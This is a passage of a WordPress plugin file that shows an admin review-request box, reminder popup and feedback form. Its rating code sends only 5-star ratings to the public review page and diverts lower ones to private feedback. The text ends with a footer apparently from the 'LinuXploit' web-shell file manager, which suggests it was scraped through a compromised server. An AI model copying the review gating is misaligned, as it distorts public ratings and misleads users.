						<?php esc_html_e("Would you like us to remind you about this later?", 'mystickyelements')?>
                    </div>

                    <div class="<?php echo esc_attr($this->pluginSlug) ?>-review-box-popup__options">
                        <a href="#" data-days="3"><?php esc_html_e("Remind me in 3 days ", 'mystickyelements')?></a>
                        <a href="#" data-days="10"><?php esc_html_e("Remind me in 10 days ", 'mystickyelements')?></a>
                        <a href="#" data-days="-1" class="dismiss"><?php esc_html_e("Don't remind me about this ", 'mystickyelements')?></a>
                    </div>
                </div>
            </div> <!--end .review-box-popup-->

            <!-- feedback popup -->
            <div class="<?php echo esc_attr($this->pluginSlug) ?>-feedback-popup">
                <div class="<?php echo esc_attr($this->pluginSlug) ?>-feedback-popup__content">
                    <button class="<?php echo esc_attr($this->pluginSlug) ?>-feedback-popup__dismiss-btn">
                        <span class="dashicons dashicons-no-alt"></span>
                    </button>
                    <form class="<?php echo esc_attr($this->pluginSlug) ?>-feedback-popup__form">
                        <textarea name="message" id="message" cols="30" rows="5" placeholder="What's your feedback?"></textarea>
                        <button id="submit-btn" type="submit"><?php esc_html_e('Submit', 'mystickyelements') ?></button>
                    </form>
                </div>
            </div> <!--end .feedback-popup-->

        </div> <!--end .premio-notice-->

        <script>
            (function($) {
                function StickyElementsFreeReview() {
                    this.prefix     = "<?php echo esc_attr($this->pluginSlug) ?>";
                    this.reviewLink = "https://wordpress.org/support/plugin/<?php echo esc_attr($this->wpPluginSlug) ?>/reviews/?filter=5";
                    this.rating     = 5;

                    this.renderRating();
                    this.bindEvents();
                }

                StickyElementsFreeReview.prototype.getSelectors = function() {
                    return {
                        body: 'body',
                        rating: `.${this.prefix}-premio-review-box__default__rating`,
                        reviewBox: `.${this.prefix}-premio-review-box`,
                        feedbackForm: `.${this.prefix}-feedback-popup__form`,
                        reminderPopup: `.${this.prefix}-review-box-popup`,
                        feedbackPopup: `.${this.prefix}-feedback-popup`,
                        reviewBoxDefault: `.${this.prefix}-premio-review-box__default`,
                        reviewBoxThankYou: `.${this.prefix}-premio-review-box__thank-you`,
                        defaultDismissBtn: `.${this.prefix}-review-box-default__dismiss-btn`,
                        thankYouDismissBtn: `.${this.prefix}-premio-review-box__thank-you__dismiss-btn`,
                        feedbackDismissBtn: `.${this.prefix}-feedback-popup__dismiss-btn`,
                        reminderPopupOptions: `.${this.prefix}-review-box-popup__options a`,
                        reminderPopupDismissBtn: `.${this.prefix}-review-box-popup__dismiss-btn`,
                    }
                }

                StickyElementsFreeReview.prototype.getElements = function() {
                    const selectors = this.getSelectors();
                    return {
                        $body: $(selectors.body),
                        $rating: $(selectors.rating),
                        $reviewBox: $(selectors.reviewBox),
                        $feedbackForm: $(selectors.feedbackForm),
                        $reminderPopup: $(selectors.reminderPopup),
                        $feedbackPopup: $(selectors.feedbackPopup),
                        $reviewBoxDefault: $(selectors.reviewBoxDefault),
                        $reviewBoxThankYou: $(selectors.reviewBoxThankYou),
                        $defaultDismissBtn: $(selectors.defaultDismissBtn),
                        $thankYouDismissBtn: $(selectors.thankYouDismissBtn),
                        $feedbackDismissBtn: $(selectors.feedbackDismissBtn),
                        $reminderPopupOptions: $(selectors.reminderPopupOptions),
                        $reminderPopupDismissBtn: $(selectors.reminderPopupDismissBtn)
                    }
                }

                StickyElementsFreeReview.prototype.bindEvents = function() {
                    const elements  = this.getElements();
                    const selectors = this.getSelectors();

                    elements.$body.addClass("has-premio-box");
                    elements.$defaultDismissBtn.on('click', this.toggleReminderPopup.bind(elements));
                    elements.$reminderPopupDismissBtn.on('click', this.toggleReminderPopup.bind(elements, false));
                    elements.$reminderPopupOptions.on('click', this.reminderHandler.bind(this));
                    elements.$thankYouDismissBtn.on('click', this.thankYouDismissHandler.bind(this));
                    elements.$feedbackDismissBtn.on('click', this.feedbackToggle.bind(this, false));
                    elements.$feedbackForm.on('submit', this.feedbackFormHandler.bind(this));

                    //close reminder/feedback popup when click outside
                    $(window).on('click', ev => {
                        const $target = $(ev.target);
                        if(
                            elements.$reminderPopup.hasClass('open') &&
                            $target.parents( selectors.reminderPopup ).length === 0
                        ) {
                            elements.$reminderPopupDismissBtn.trigger('click');
                        }

                        if(
                            elements.$feedbackPopup.hasClass('open') &&
                            $target.parents( selectors.feedbackPopup ).length === 0
                        ) {
                            elements.$feedbackDismissBtn.trigger('click');
                        }
                    })
                }

                StickyElementsFreeReview.prototype.feedbackFormHandler = function(ev) {
                    ev.preventDefault();
                    const elements  = this.getElements();
                    const message   = elements.$feedbackForm.find('#message').val();
                    const rating     = this.rating;

                    $.ajax({
                        url: "<?php echo admin_url("admin-ajax.php") ?>",
                        data: {
                            action: "<?php echo esc_attr($this->pluginSlug) ?>_review_box_message",
                            rating: rating,
                            nonce: "<?php echo esc_attr(wp_create_nonce($this->pluginSlug."_review_box_message")) ?>",
                            message: message
                        },
                        type: "post",
                    });
                    elements.$feedbackDismissBtn.trigger('click');
                    elements.$reviewBox.remove();
                    elements.$reminderPopup.remove();
                    // send hide request after submitting feedback form
                    this.sendHideRequest( -1 );
                }

                StickyElementsFreeReview.prototype.thankYouDismissHandler = function() {
                    const elements = this.getElements();
                    elements.$reviewBox.remove();
                    elements.$reminderPopup.remove();
                    this.sendHideRequest( -1 );
                }

                StickyElementsFreeReview.prototype.reminderHandler = function(ev) {
                    ev.preventDefault();
                    const dataDays = $(ev.target).data("days");
                    const elements = this.getElements();

                    elements.$body.removeClass("has-premio-box");
                    elements.$reminderPopupDismissBtn.trigger('click');
                    elements.$reviewBox.remove();
                    this.sendHideRequest( dataDays );
                }

                StickyElementsFreeReview.prototype.sendHideRequest = function( dataDays = -1 ) {
                    $.ajax({
                        url: "<?php echo admin_url("admin-ajax.php") ?>",
                        data: "action=<?php echo esc_attr($this->pluginSlug) ?>_review_box&days=" + dataDays + "&nonce=<?php echo esc_attr(wp_create_nonce($this->pluginSlug."_review_box")) ?>",
                        type: "post",
                    });
                }

                StickyElementsFreeReview.prototype.toggleReminderPopup = function( action = true ) {
                    if( action ) {
                        this.$reminderPopup.fadeIn(200, function(){
                            $(this).addClass('open')
                        });
                    } else {
                        this.$reminderPopup.fadeOut(200).removeClass('open');
                    }
                }

                StickyElementsFreeReview.prototype.feedbackToggle = function( action = true ) {
                    const elements = this.getElements();
                    console.log(action);
                    if( action ) {
                        console.log(elements.$feedbackPopup);
                        elements.$feedbackPopup.fadeIn(200, function(){
                            $(this).addClass('open')
                        });
                    } else {
                        elements.$rating.starRating('unload');
                        elements.$reviewBoxDefault.append(`<div class="${this.prefix}-premio-review-box__default__rating"></div>`)
                        elements.$feedbackPopup.fadeOut(200).removeClass('open');
                        this.renderRating();
                    }
                }

                StickyElementsFreeReview.prototype.renderRating = function() {
                    const self      = this;
                    const elements  = self.getElements();
                    elements.$rating.starRating({
                        initialRating   : self.rating,
                        useFullStars    : true,
                        strokeColor     : '#894A00',
                        strokeWidth     : 10,
                        minRating       : 1,
                        starSize        : 25,
                        callback( currentRate ) {
                            if( currentRate !== 5 ) {
                                self.rating = currentRate;
                                self.feedbackToggle(true);
                            } else {
                                elements.$reviewBoxDefault.hide();
                                elements.$reviewBoxThankYou.show();
                                window.open( self.reviewLink , '_blank');
                                self.sendHideRequest( -1 );
                            }
                        }
                    })
                }

                new StickyElementsFreeReview();

            })( jQuery )
        </script>
		<?php

	}//end admin_notices()

}//end class

$Sticky_elements_review_box = new Sticky_elements_review_box();

Youez - 2016 - github.com/yon3zu
LinuXploit